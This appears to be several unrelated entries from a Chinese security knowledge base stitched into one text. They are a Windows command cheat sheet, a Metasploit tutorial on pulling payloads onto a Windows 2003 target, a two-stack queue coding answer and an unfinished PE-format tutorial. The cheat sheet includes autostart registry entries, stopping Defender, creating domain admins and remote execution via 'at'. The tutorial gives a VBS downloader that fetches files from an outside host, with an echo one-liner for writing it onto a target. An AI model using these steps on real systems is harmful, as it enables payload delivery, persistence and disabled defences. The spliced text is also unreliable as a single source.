# /t RegKey 数据类型
# [ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN |
# REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN |
# REG_NONE | REG_EXPAND_SZ ]
# 如果忽略,则采用 REG_SZ
# /s 指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符;如果忽略,则将""用作分隔符
# /d 要分配给添加的注册表 ValueName 的数据
# /f 不提示,强行改写现有注册表项
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v MyApp /t REG_SZ /d "c:\tools\myapp.exe" /f
# 强制添加一条开机启动 c:\tools\myapp.exe 程序的注册表项
reg add "HKLM\SOFTWARE\ScmClient" /v AgreementConfirmed /t REG_SZ /d 1 /f
# 解决 32 位 xp 打开 ioa 后,弹出的框关不掉问题
reg add "HKCU\ControlPanel\Desktop" /v WaitToKIllAppTimeOut /t REG_SZ /d 10000 /f
# 强制添加一条加速关闭应用程序的注册表项
reg add "hkcu\software\Unity Technologies\Unity Editor 4.x" /v JdkPath_h4127442381 /t REG_SZ /f
# 将 JdkPath_h4127442381 设置为空
reg add "HKCR\*\shell\WinDbg\command" /t REG_SZ /d "\"D:\Program Files (x86)\windbg\windbg.exe\" -z \"%1\" " /f
# 强制添加 windbg 打开 dump 文件到右键菜单的注册表项(不指明 /v,键值将写入默认值名中)
reg add "HKCR\*\shell\WinHex\command" /t REG_SZ /d "\"D:\software-setup\system\winhex\winhex.exe\" \"%1\" " /f
# 强制添加 winhex 到右键菜单的注册表项(不指明 /v,键值将写入默认值名中)
reg add "hkcu\software\microsoft\windows\currentversion\internet settings" /v AutoConfigURL /t REG_SZ /d "http://txp-01.tencent.com/proxy.pac" /f
# 为 IE 设置代理:http://txp-01.tencent.com/proxy.pac
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f
# 关闭 IE 代理服务器选项
reg add "hkcu\software\Sysinternals\Process Monitor" /v EulaAccepted /t REG_DWORD /d 1 /f
# 为 Procmon.exe 工具(Process Monitor 为其属性面板上的描述名)添加 License 同意
reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v MyApp /f
# 强制删除值名的 MyApp 的注册表项
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /f
# 强制删除让任务栏里的任务管理器为灰色的注册表项
reg delete HKEY_CURRENT_USER\Environment /v HTTP_proxy /f
# 删除 http 代理
reg delete HKEY_CURRENT_USER\Environment /v HTTPS_proxy /f
# 删除 https 代理
reg copy "hkcu\software\microsoft\winmine" "hkcu\software\microsoft\winminebk" /s /f
# 强制复制 winmine 下所有的子项与值到 winminebk 中
reg export "hkcu\software\microsoft\winmine" c:\regbak\winmine.reg
# 导出 winmine 下所有的子项与值到 c:\regbak\winmine.reg 文件中
reg import c:\regbak\winmine.reg
# 导入 c:\regbak\winmine.reg 文件到注册表中
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE" /s
# 查询 ie 的安装路径
reg query HKCR\.dsw /ve
# 查询 .dsw 默认值
reg query HKEY_CURRENT_USER\Software\Tencent\QQGame\SYS /v GameDirectory
# 查询 QQGame 安装路径
```
**regedit**
```bash
regedit -s xxxx.reg # 导入注册表项
```
#### 计划任务
**at**
```bash
at # 查看所有的计划任务
at [id] # 开启已注册的某个计划任务
at /delete # 停止所有计划任务,用参数 /yes 则不需要确认就直接停止
at [id] /delete # 停止某个已注册的计划任务
at [ip] time [progame/cmd] # 在某时间运行对方某程序
at \\127.0.0.1 time C:\windows\1.bat
at [ip] time [progame/cmd] /r # 在某时间运行对方某程序并重新启动计算机
```
**[Schtasks.exe](https://docs.microsoft.com/en-us/windows/win32/taskschd/schtasks)**
```bash
# /SC schedule 指定计划频率.有效计划任务: MINUTE、 HOURLY、DAILY、WEEKLY、MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.
# /MO modifier 改进计划类型以允许更好地控制计划重复周期.有效值列于下面"修改者"部分中.
# /D days 指定该周内运行任务的日期.有效值:MON、TUE、WED、THU、FRI、SAT、SUN和对 MONTHLY 计划的 1 - 31(某月中的日期).通配符"*"指定所有日期.
# /TN taskname 以路径\名称形式指定对此计划任务进行唯一标识的字符串.
# /TR taskrun 指定在这个计划时间运行的程序的路径和文件名.例如: C:\windows\system32\calc.exe
schtasks /query /fo LIST /v # 以较为详细易于阅读的格式显示本机所有任务计划信息
schtasks /delete /tn "Soda Build" /f # 强制删除 Soda Build 名称的任务计划(不进行确认)
schtasks /run /tn "Soda Build" # 执行名为 Soda Build 的任务计划
schtasks /end /tn "Soda Build" # 终止执行名为 Soda Build 的任务计划
SCHTASKS /Create /SC MONTHLY /MO first /D SUN /TN gametime /TR c:\windows\system32\freecell
# 创建计划任务 "gametime",在每月的第一个星期天运行"空当接龙".
schtasks /create /sc minute /mo 20 /tn "Soda Build" /tr d:\check.vbs
# 创建一个名为 Soda Build 的任务计划:该任务计划每 20 分钟执行一下 d:\check.vbs 脚本
schtasks /create /tn "Soda Build" /tr D:\updateall.bat /sc daily /st 02:06 /f
# 强制创建一个名为 Soda Build 的任务计划(不进行确认):该任务计划每天凌晨 2 点 06 分执行一下 D:\updateall.bat 脚本
schtasks /change /tn "Soda Build" /tr d:\check2.vbs
# 将名为 Soda Build 的任务计划的执行脚本修改为 d:\check2.vbs
```
#### 组策略
**强制更新组策略**
```bash
gpupdate /force
```
#### 输入法
**简繁切换**
ctrl+shift+f
---
### 账号管控
**账号**
```bash
net user # 查看系统账户
net user test # 查看账户 test 的属性
net user test 1234abcd /add # 添加用户
net localgroup administrators test /add # 将用户添加到管理组
net user test /del # 删除用户
```
**组**
```bash
net localgroup # 查看系统的组
net localgroup marketGroup /add # 新建一个 marketGroup 的组
net localgroup marketGroup test /add # 将用户 test 加入 marketGroup 组中
net localgroup markGroup # 查看 markGroup 组内的成员
net localgroup marketGroup test /del # 将用户 test 从 marketGroup 组中移除
net localgroup marketGroup /del # 删除 marketGroup 组
net localgroup "remote desktop users" test /add # 将用户 test 加入远程桌面组
net localgroup "remote desktop users" test /del # 将用户 test 从远程桌面组删除
```
---
### 进程管理
**进程信息**
```bash
wmic
wmic process where Caption="buyticket.exe" get commandline,ExecutablePath,ProcessId,ThreadCount /value
# 查看名为"buyticket.exe"所有进程命令行,exe 全路径,PID 及线程数
wmic process where Caption="buyticket.exe" get ExecutablePath,HandleCount /value
# 查看名为"buyticket.exe"所有进程的 exe 全路径及当前打开的句柄数
wmic process where Caption="buyticket.exe" get ExecutablePath,VirtualSize,WorkingSetSize /value
# 查看名为"buyticket.exe"所有进程的 exe 全路径、当前虚拟地址空间占用及物理内存工作集
tasklist # 显示所有进程及其服务
tasklist /svc
tasklist /fi "pid eq 1234" /svc # 显示指定进程信息
tasklist /fi "status eq running" /svc
tasklist /fi "status eq running" /fi "username eq nt authority\system" /svc
tasklist /m xxx.dll # 显示使用给定 exe/dll 名称的所有进程
tasklist /s ip /u username /p password /svc # 显示远程主机的进程信息
```
**进程处理**
```bash
taskkill # 终止指定的进程及其子进程(根据进程名称)
taskkill /f /im notepad.exe /t
taskkill /f /pid 1234 /t # 终止指定进程及其子进程(根据进程 ID)
taskkill /f /fi "pid eq 1234" /t
taskkill /s ip /u username /p password /pid 1234 /t # 终止远程主机的指定进程
taskkill /s ip /u username /p password /fi "pid eq 1234" /t
```
---
### 设备管理
#### 硬盘-数据
**卷标设置**
```bash
vol # 显示当前分区的卷标
label # 显示当前分区的卷标,同时提示输入新卷标
label c:system # 设置 c 盘的卷标为 system
```
**格式化**
```bash
format # 格式化磁盘
format J: /FS:ntfs # 以 ntfs 类型格式化 J 盘 [类型有:FAT、FAT32、exFAT、NTFS 或 UDF]
format J: /FS:fat32 /Q # 以 fat32 类型快速格式化J盘
```
**状态检查**
```bash
chkdsk /f D: # 检查磁盘 D 并显示状态报告;加参数/f表示同时会修复磁盘上的错误
```
**磁盘映射**
```bash
subst # 磁盘映射 -- 磁盘映射信息都保存在注册表以下键值中:HKEY_CURRENT_USER\Network
subst # 显示目前所有的映射
subst z: \\com\software # 将 \\com\software 共享映射为本地 z 盘
subst y: e:\src # 将 e:\src 映射为本地 y 盘
subst z: /d # 删除 z 盘映射
```
#### 显卡
**重启显卡驱动**
`Ctrl` + `Shift` + `Win` + `B`
---
### 安全设置
**关闭 Denfnder**
```bash
net stop windefend
```
---
## 域
**添加域管理员账号**
```bash
net user mstlab mstlab /add /domain # 添加用户并设置密码
net group "Domain Admins" lemon /add /domain # 将普通域用户提升为域管理员
net user guest /active:yes # 激活 guest 用户
net user guest mstlab # 更改 guest用户的密码
```
**修改指定域用户的密码**
```bash
dsquery user -samid username | dsmod user -pwd new_password
```
|
sec-knowleage
|
一次 msf 完整的流程离不开目标机的 payload 下载与执行。而针对不同环境目标,考虑或者选择不同方式的 payload 下载与执行。如 webshell 下,注入点下。smb 下等。而针对不同的实际环境,来做最好的选择。
既然本季开始专门针对 windows 下的 payload 下载讲解,那么就需要考虑到目标机的系统版本,是windows2000,windows 2003,或者是更高的版本如 windows 2016等。
无论是哪个版本的windows系列,都是支持vbs的。
**靶机:**windows 2003
### vbs:
保存downfile.vbs
```visual basic
set a=createobject("adod"+"b.stream"):set
w=createobject("micro"+"soft.xmlhttp"):w.open "get",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile
wsh.arguments(1),2
```
### 命令行下执行:
```bash
cscript downfile.vbs http://192.168.1.115/robots.txt C:\Inetpub\b.txt
```

往往在实战中,没有上传的方便条件,尤其是目标机是 windows,只有 echo 方式来写入 vbs。
### 命令行下执行:
```bash
echo set a=createobject(^"adod^"+^"b.stream^"):set
w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile
wsh.arguments(1),2 >>downfile.vbs
```
**优点:**支持windows全版本系列
**缺点:**对https不友好
> Micropoor
|
sec-knowleage
|
# 9. 用两个栈实现队列
## 题目链接
[牛客网](https://www.nowcoder.com/practice/54275ddae22f475981afa2244dd448c6?tpId=13&tqId=11158&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github)
## 题目描述
用两个栈来实现一个队列,完成队列的 Push 和 Pop 操作。
## 解题思路
in 栈用来处理入栈(push)操作,out 栈用来处理出栈(pop)操作。一个元素进入 in 栈之后,出栈的顺序被反转。当元素要出栈时,需要先进入 out 栈,此时元素出栈顺序再一次被反转,因此出栈顺序就和最开始入栈顺序是相同的,先进入的元素先退出,这就是队列的顺序。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/3ea280b5-be7d-471b-ac76-ff020384357c.gif" width="450"/> </div><br>
```java
Stack<Integer> in = new Stack<Integer>();
Stack<Integer> out = new Stack<Integer>();
public void push(int node) {
in.push(node);
}
public int pop() throws Exception {
if (out.isEmpty())
while (!in.isEmpty())
out.push(in.pop());
if (out.isEmpty())
throw new Exception("queue is empty");
return out.pop();
}
```
|
sec-knowleage
|
# PE 文件格式
## PE 简介
PE 文件的全称是 Portable Executable ,意为可移植的可执行的文件,常见的EXE、DLL、OCX、SYS、COM都是PE 文件,PE 文件是微软Windows操作系统上的程序文件,可能是间接被执行,如DLL)。
一个 32-bits 的 PE 文件布局如下图所示:
```text
+-------------------------------+ \
| MS-DOS MZ header | |
+-------------------------------+ |
| MS-DOS Real-Mode Stub program | |
+-------------------------------+ |
| PE Signature | | -> PE file header
+-------------------------------+ |
| IMAGE_FILE_HEADER | |
+-------------------------------+ |
| IMAGE_OPTIONAL_HEADER | |
+-------------------------------+ /
| section header #1 |
+-------------------------------+
| section header #2
+-------------------------
:
:
+------------------------------+
| section #1 |
+------------------------------+
| section #2
+--------------------
:
:
```
接下来将会以一个 32-bit 的 PE 文件作为标本介绍一下 PE 文件。
```c
// 示例代码 test.c
#include <stdio.h>
int main(){
printf("Hello, PE!\n");
return 0;
}
```
**通过 `Devcpp` 软件的 `TDM-GCC 4.9.2 32-bit Release` 方式编译文件生成 `test.exe`,作为示例文件。**
### 常用术语及其含义
- **`映像文件` 因为 PE 文件通常需要加载到内存中才能执行,相当于内存中的映像,所以 PE 文件也叫做映像文件。**
- **`RVA` 相对虚拟地址,映像文件在虚拟内存中相对于加载基址的偏移。**
- **`VA` 虚拟地址,映像文件在虚拟内存中的地址。**
- **`FOA` 文件偏移地址,映像文件在磁盘文件中相对于文件开头的偏移。**
因为不论是在磁盘文件上,或是在虚拟内存中,数据相对于其所在节的相对偏移是固定的,据此可以实现 RVA 与 FOA 之间的转换,即`RVA - 节区RVA = FOA - 节区FOA`。
假设某一个属于 .data 节的数据的 RVA 是 0x3100,.data 节的 节区RVA 为 0x3000,那么该数据相对于 .data 节的相对偏移就是 0x100。而 .data 节在的 节区FOA 为 0x1C00,那么该数据在磁盘文件中的 FOA 就是 0x1D00。完整的计算公式是:`FOA = 节区FOA + (RVA - 节区RVA)`。如果该映像文件的加载基址为0x40000000,那么该数据的 VA 就是 0x40003100。
## PE文件头
PE 文件的最开始便是 PE 文件头,它由 `MS-DOS 文件头` 和 `IMAGE_NT_HEADERS` 结构体组成。
### MS-DOS 文件头
`MS-DOS 文件头` 包含 `IMAGE_DOS_HEADER` 和 `DOS Stub` 两个部分。
`IMAGE_DOS_HEADER` 结构体的定义如下:
```c
typedef struct _IMAGE_DOS_HEADER
{
WORD e_magic; // "MZ"
WORD e_cblp;
WORD e_cp;
WORD e_crlc;
WORD e_cparhdr;
WORD e_minalloc;
WORD e_maxalloc;
WORD e_ss;
WORD e_sp;
WORD e_csum;
WORD e_ip;
WORD e_cs;
WORD e_lfarlc;
WORD e_ovno;
WORD e_res[4];
WORD e_oemid;
WORD e_oeminfo;
WORD e_res2[10];
LONG e_lfanew; // NT 头相对于文件起始处的偏移
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
```
`IMAGE_DOS_HEADER` 结构体中有 2 个重要成员:
- **`e_magic` 单字。DOS 签名 "4D5A",即 ASCII 值 "MZ"。所有 PE 文件的开头都有 DOS 签名。**
- **`e_lfanew` 单字。`IMAGE_NT_HEADER`相对于文件起始处的偏移。**
示例程序的 `IMAGE_DOS_HEADER` 如图 2 所示:
`IMAGE_DOS_HEADER` 结构体后紧接着是 `DOS Stub`,它的作用很简单,当系统为 MS-DOS 环境时,输出 `This program cannot be run in DOS mode.` 并退出程序,表明该程序不能在 MS-DOS 环境下运行。这使得所有的 PE 文件都对 MS-DOS 环境兼容。利用该特性可以创建出一个在 MS-DOS 和 Windows 环境中都能运行的程序,在 MS-DOS 中执行 16-bit MS-DOS 代码,在 Windows 中执行 32-bit Windows 代码。
示例程序的 `DOS Stub` 如图 3 所示:
### IMAGE_NT_HEADERS
`IMAGE_NT_HEADERS` 结构体,俗称 NT 头。紧跟在 `DOS Stub` 之后,其定义如下:
```c
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature; /* +0000h PE 标识 */
IMAGE_FILE_HEADER FileHeader; /* +0004h PE 标准头 */
IMAGE_OPTIONAL_HEADER32 OptionalHeader; /* +0018h PE 可选头 */
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
```
示例程序的 `IMAGE_NT_HEADERS` 如图 4 所示:
接下来详细说一下 NT 头。
#### PE Signature
NT 头的第一个成员是`PE Signature`,它是一个4字节大小的ASCII码字符串 `PE\0\0`,用于指明当前文件是一个 PE 格式的映像文件。其位置可以通过 `IMAGE_DOS_HEADER` 的 `e_lfanew` 成员的值确定。
#### IMAGE_FILE_HEADER
`PE Signature` 后紧跟着是 `IMAGE_FILE_HEADER` 结构体,又称作 `COFF 头(标准通用文件格式头)`。其定义如下:
```c
typedef struct _IMAGE_FILE_HEADER {
WORD Machine; /* +0004h 目标机器类型 */
WORD NumberOfSections; /* +0006h PE 中节的数量 */
DWORD TimeDateStamp; /* +0008h 时间戳 */
DWORD PointerToSymbolTable; /* +000ch 指向符号表的指针 */
DWORD NumberOfSymbols; /* +0010h 符号表中符号数目 */
WORD SizeOfOptionalHeader; /* +0012h 可选头的大小 */
WORD Characteristics; /* +0014h 文件属性标志 */
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
```
接下来依次对每一个字段做出解释:
- **`Machine` 单字。用于指明 CPU 类型。详细了解所支持的 CPU 类型请参考 [微软 PE 格式 COFF 文件头 Machine 类型](https://docs.microsoft.com/zh-cn/windows/win32/debug/pe-format?redirectedfrom=MSDN#machine-types)。**
- **`NumberOfSections` 单字。文件中存在的节区数量。PE 文件将代码、数据、资源的依据属性分类到不同节区中存储。**
- `TimeDateStamp` 双字。低 32 位表示从 1970 年 1 月 1 日 00:00 到文件创建时经过的秒数。
- `PointerToSymbolTable` 双字。符号表的文件偏移。如果不存在符号表,其值为 0。
- `NumberOfSymbols` 双字。该字段表示符号表中的符号数量。由于字符串表紧跟在符号表之后,所有能通过该值定位字符串表。
- **`SizeOfOptionalHeader` 单字。表示可选头的大小。在 32-bit 机器上默认是 0x00E0,在 64-bit 机器上默认是 0x00F0。**
- **`Characteristics` 单字。用于标识文件属性,以 bit OR 方式组合。**下面是一些已定义的文件属性标志:
```c
// 文件属性标志
#define IMAGE_FILE_RELOCS_STRIPPED 0x0001 // 表示文件不包含重定位信息,只能在原定的基址加载。如果原定基址不可用,加载器会报出错误
#define IMAGE_FILE_EXECUTABLE_IMAGE 0x0002 // 表示文件可执行,如果该位未设置,意味着存在链接器错误
#define IMAGE_FILE_LINE_NUMS_STRIPPED 0x0004 // 不存在行信息
#define IMAGE_FILE_LOCAL_SYMS_STRIPPED 0x0008 // 不存在符号信息
#define IMAGE_FILE_AGGRESSIVE_WS_TRIM 0x0010 // 已废弃
#define IMAGE_FILE_LARGE_ADDRESS_AWARE 0x0020 // 应用可处理大于 2GB 的地址
#define IMAGE_FILE_BYTES_REVERSED_LO 0x0080 // 小尾存储。已废弃
#define IMAGE_FILE_32BIT_MACHINE 0x0100 // 基于 32-bit 体系结构
#define IMAGE_FILE_DEBUG_STRIPPED 0x0200 // 不存在调试信息
#define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP 0x0400 // 如果映像文件在可移动介质上,完全加载并复制到内存交换文件中
#define IMAGE_FILE_NET_RUN_FROM_SWAP 0x0800 // 如果映像文件在网络介质上,完全加载并复制到内存交换文件中
#define IMAGE_FILE_SYSTEM 0x1000 // 映像文件是系统文件
#define IMAGE_FILE_DLL 0x2000 // 映像文件是动态链接库文件
#define IMAGE_FILE_UP_SYSTEM_ONLY 0x4000 // 文件只能在单处理器机器上运行
#define IMAGE_FILE_BYTES_REVERSED_HI 0x8000 // 大尾存储(已废弃)
```
示例程序的 `IMAGE_FILE_HEADER` 如下:
```text
// 示例程序 IMAGE_FILE_HEADER
RVA Value Description
----------------------------------------------------
00000084 014C 机器类型
00000086 000F 节区数量
00000088 5D88E2A6 时间戳
0000008c 00012C00 符号表偏移
00000090 000004E4 符号数量
00000094 00E0 可选头大小
00000096 0107 文件属性
0001 IMAGE_FILE_RELOCS_STRIPPED
0002 IMAGE_FILE_EXECUTABLE_IMAGE
0004 IMAGE_FILE_LINE_NUMS_STRIPPED
0100 IMAGE_FILE_32BIT_MACHINE
```
#### IMAGE_OPTIONAL_HEADER
之所以`IMAGE_OPTIONAL_HEADER` 叫做可选头,是因为对于目标文件,它没有任何作用,只是平白增加了目标文件的大小;但对于映像文件来说,它提供了加载时必需的信息。定义如下:
```c
typedef struct _IMAGE_OPTIONAL_HEADER {
WORD Magic; /* +0018h 魔数 */
BYTE MajorLinkerVersion; /* +001ah 链接器主要版本号 */
BYTE MinorLinkerVersion; /* +001bh 链接器次要版本号 */
DWORD SizeOfCode; /* +001ch 所有含代码的节的总大小 */
DWORD SizeOfInitializedData; /* +0020h 所有含已初始化数据的节的总大小 */
DWORD SizeOfUninitializedData; /* +0024h 所有含未初始化数据的节的总大小 */
DWORD AddressOfEntryPoint; /* +0028h 程序入口点RVA */
DWORD BaseOfCode; /* +002ch 代码节起始RVA */
DWORD BaseOfData; /* +0030h 数据节起始RVA */
DWORD ImageBase; /* +0034h 映像文件加载时的首选地址 */
DWORD SectionAlignment; /* +0038h 内存中节对齐粒度*/
DWORD FileAlignment; /* +003ch 文件中节对齐粒度 */
WORD MajorOperatingSystemVersion; /* +0040h 操作系统主要版本号 */
WORD MinorOperatingSystemVersion; /* +0042h 操作系统次要版本号 */
WORD MajorImageVersion; /* +0044h 映像文件主要版本号 */
WORD MinorImageVersion; /* +0046h 映像文件次要版本号 */
WORD MajorSubsystemVersion; /* +0048h 子系统主要版本号 */
WORD MinorSubsystemVersion; /* +004ah 子系统次要版本号 */
DWORD Win32VersionValue; /* +004ch 保留。置0 */
DWORD SizeOfImage; /* +0050h 内存中映像文件的大小 */
DWORD SizeOfHeaders; /* +0054h 所有头+节表大小 */
DWORD CheckSum; /* +0058h 映像文件校验和 */
WORD Subsystem; /* +005ch 运行映像所需子系统 */
WORD DllCharacteristics; /* +005eh 映像文件的DLL属性 */
DWORD SizeOfStackReserve; /* +0060h 初始化时的保留的栈大小 */
DWORD SizeOfStackCommit; /* +0064h 初始化时实际提交的栈大小 */
DWORD SizeOfHeapReserve; /* +0068h 初始化时保留的堆大小 */
DWORD SizeOfHeapCommit; /* +006ch 初始化时实际提交的堆大小 */
DWORD LoaderFlags; /* +0070h 已废弃 */
DWORD NumberOfRvaAndSizes; /* +0074h 数据目录结构的数量 */
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; /* +0078h 指向数据目录中第一个 IMAGE_DATA_DIRECTORY 结构体的指针 */
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
```
- **`Magic` 单字。指明映像文件的类型。`0x0107h` 表示 ROM 映像;`0x010B` 表示 PE32;`0x020B` 表示 PE32+,即 64-bit 的 PE 文件。**
- `MajorLinkerVersion` 字节。指定链接器主要版本号。
- `MinorLinkerVersion` 字节。指定链接器次要版本号。
- `SizeOfCode` 双字。所有包含代码的节的总大小。**这里的大小指文件对齐后的大小。判断某个节是否包含代码的方法是根据节属性是否包含 `IMAGE_SCN_CNT_CODE` 标志。**
- `SizeOfInitializedData` 双字。所有包含已初始化数据节的总大小。
- `SizeOfUninitializedData` 双字。所有包含未初始化数据节的总大小。
- **`AddressOfEntryPoint` 双字。入口点函数的指针相对于映像文件加载基址的偏移量。对于可执行文件,这是启动地址;对于设备驱动,这是初始化函数的地址;入口点函数对于 DLL 文件是可选的,如果不存在入口点,该成员必须置 0。**
- `BaseOfCode` 双字。代码节的 RVA,代码节起始处相对于映像文件加载基址的偏移量。通常代码节紧跟在 PE 头 后面,节名为 ".text"。
- `BaseOfData` 双字。数据节的 RVA,数据节起始处相对于映像文件加载基址的偏移量。通常数据节位于文件末尾,节名为 ".data"。
- **`ImageBase` 双字。映像文件加载时的优先载入地址,值必须是 64KB 的整数倍。**应用程序的默认值是 0x00400000;DLL 的默认值是 0x10000000。**当一个程序用到了多个 DLL 文件时,PE 加载器会调整 DLL 的载入地址,使所有 DLL 文件都能够被正确载入。**
- **`SectionAlignment` 双字。内存中的节对齐粒度。该成员的值必须不小于 `FileAlignment` 成员的值。默认的值与系统的页大小相等。**
- **`FileAlignment` 双字。映像文件中原始数据的对齐粒度。值必须是在 512-64K 范围内的 2 的幂。默认值为512,但如果 `SectionAlignment` 成员的值小于系统页大小,则 `FileAlignment` 与 `SectionAlignment` 两者成员的值必须相同。**
- `MajorOperatingSystemVersion` 单字。操作系统主要版本号。
- `MinorOperatingSystemVersion` 单字。操作系统次要版本号。
- `MajorImageVersion` 单字。映像文件主要版本号。
- `MinorImageVersion` 单字。映像文件次要版本号。
- `MajorSubsystemVersion` 单字。子系统主要版本号。
- `MinorSubsystemVersion` 单字。子系统次要版本号。
- `Win32VersionValue` 双字。保留。置0。
- **`SizeOfImage` 双字。映像文件在虚拟内存中所占的大小。值必须为 `SectionAlignment` 的整数倍。**
- **`SizeOfHeaders` 双字。PE 文件头和所有节表大小的总和按照 `FileAlignment` 对齐后的大小。第一节区在文件开始偏移为 `SizeOfHeaders` 处。**
- `CheckSum` 双字。映像文件的校验值。需要在装载时校验的文件有所有的驱动,任何在启动时装载的 DLL,以及任何加载到关键系统进程中的 DLL。
- **`Subsystem` 单字。运行映像文件所需的子系统。已定义的子系统标志如下:**
```c
// Subsystem 标志
#define IMAGE_SUBSYSTEM_UNKNOWN 0 // 未知子系统
#define IMAGE_SUBSYSTEM_NATIVE 1 // 不需要子系统。设备驱动和本机系统进程
#define IMAGE_SUBSYSTEM_WINDOWS_GUI 2 // Windows 图形用户接口(GUI)子系统
#define IMAGE_SUBSYSTEM_WINDOWS_CUI 3 // Windows 字符模式用户接口子(CUI)系统
#define IMAGE_SUBSYSTEM_OS2_CUI 5 // OS/2 CUI 子系统
#define IMAGE_SUBSYSTEM_POSIX_CUI 7 // POSIX CUI 子系统
#define IMAGE_SUBSYSTEM_WINDOWS_CE_GUI 9 // Windows CE 系统
#define IMAGE_SUBSYSTEM_EFI_APPLICATION 10 // 可扩展固件接口(EFI)应用程序
#define IMAGE_SUBSYSTEM_EFI_BOOT_SERVEICE_DRIVER 11 // 带引导服务的 EFI 驱动程序
#define IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER 12 // 带运行时服务的 EFI 驱动程序
#define IMAGE_SUBSYSTEM_EFI_ROM 13 // EFI ROM 映像
#define IMAGE_SUBSYSTEM_XBOX 14 // XBOX 系统
#define IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION 16 // 引导应用程序
```
- **`DllCharacteristics` 单字。映像文件的 DLL 属性,以 bit OR 方式组合。各标志位的含义如下:**
```c
// DLL 属性标志
// 0x0001 0x0002 0x0004 0x0008 保留,值必须为 0。
#define IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE 0x0040 // DLL 可以在加载时重定位
#define IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY 0x0080 // 强制实行代码完整性检验
#define IMAGE_DLLCHARACTERISTICS_NX_COMPAT 0x0100 // 映像兼容数据执行保护(DEP)
#define IMAGE_DLLCHARACTERISTICS_NO_ISOLATION 0x0200 // 映像可以隔离,但不应该被隔离
#define IMAGE_DLLCHARACTERISTICS_NO_SEH 0x0400 // 映像不使用结构化异常处理(SEH)
#define IMAGE_DLLCHARACTERISTICS_NO_BIND 0x0800 // 不绑定映像
//#define IMAGE_DLLCHARACTERISTICS_APPCONTAINER 0x1000 // 在 32-bit 保留;64-bit 表示映像必须在 AppContainer 内执行
#define IMAGE_DLLCHARACTERISTICS_WDM_DRIVER 0x2000 // WDM 驱动
//#define IMAGE_DLLCHARACTERISTICS_GUARD_CF 0x4000 // 在 32-bit 保留;64-bit 表示映像支持控制流保护
#define IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE 0x8000 // 映像可用于终端服务器
```
- `SizeOfStackReserve` 双字。初始化时保留的栈内存大小,默认值是 1MB。具体说是初始化时为栈保留的虚拟内存的大小,但并不是所有保留的虚拟内存都能直接作为栈使用。初始化时实际提交的栈大小由 `SizeOfStackCommit` 成员指定。
- `SizeOfStackCommit` 双字。初始化时实际提交的栈内存大小。
- `SizeOfHeapReserve` 双字。初始化时保留的堆内存大小,默认值为 1MB。每一个进程至少为会有一个默认的进程堆,在进程启动的时候被创建,并且在进程的声明周期内不会被删除。
- `SizeOfHeapCommit` 双字。初始化时实际提交的堆内存大小,默认大小为 1 页。可以通过链接器的 "-heap" 参数指定起始保留的堆内存大小和实际提交的堆内存大小。
- `LoaderFlags` 成员已弃用。
- **`NumberOfRvaAndSizes` 双字。数据目录结构的数量。通常为 0x00000010,即 16 个。**
- **`DataDirectory` 结构体。由 `IMAGE_DATA_DIRECTORY` 结构体组成的数组,数组的每项都有被定义的值。结构体定义如下:**
```c
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress; /* 数据目录的 RVA */
DWORD Size; /* 数据目录的大小 */
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
```
各数组项如下:
```c
// 数据目录
DataDirectory[0] = EXPORT Directory // 导入表 RVA 和大小
DataDirectory[1] = IMPORT Directory // 导入表 RVA 和大小
DataDirectory[2] = RESOURCE Directory // 资源表 RVA 和大小
DataDirectory[3] = EXCEPTION Directory // 异常表 RVA 和大小
DataDirectory[4] = CERTIFICATE Directory // 证书表 FOA 和大小
DataDirectory[5] = BASE RELOCATION Directory // 基址重定位表 RVA 和大小
DataDirectory[6] = DEBUG Directory // 调试信息 RVA 和大小
DataDirectory[7] = ARCH DATA Directory // 指定架构信息 RVA 和大小
DataDirectory[8] = GLOBALPTR Directory // 全局指针寄存器 RVA
DataDirectory[9] = TLS Directory // 线程私有存储表 RVA 和大小
DataDirectory[10] = LOAD CONFIG Directory // 加载配置表 RVA 和大小
DataDirectory[11] = BOUND IMPORT Directory // 绑定导入表 RVA 和大小
DataDirectory[12] = `IAT` Directory // 导入地址表 RVA 和大小
DataDirectory[13] = DELAY IMPORT Directory // 延迟导入描述符 RVA 和大小
DataDirectory[14] = CLR Directory // CLR数据 RVA 和大小
DataDirectory[15] = Reserverd // 保留
```
示例程序的 `IMAGE_OPTIONAL_HEADER` 如下图:
## PE 数据主体
PE 数据主体包括 `Section Header` 和所有的节区。
### Section Header
